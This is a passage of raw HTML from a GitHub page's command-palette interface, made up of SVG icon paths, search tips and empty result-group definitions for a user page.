101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 0 010 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type > to filter" data-group-limits="{"static_items_page":50,"issue":50,"pull_request":50,"discussion":50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type > to filter" data-group-limits="{"issue":0,"pull_request":0,"discussion":0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help 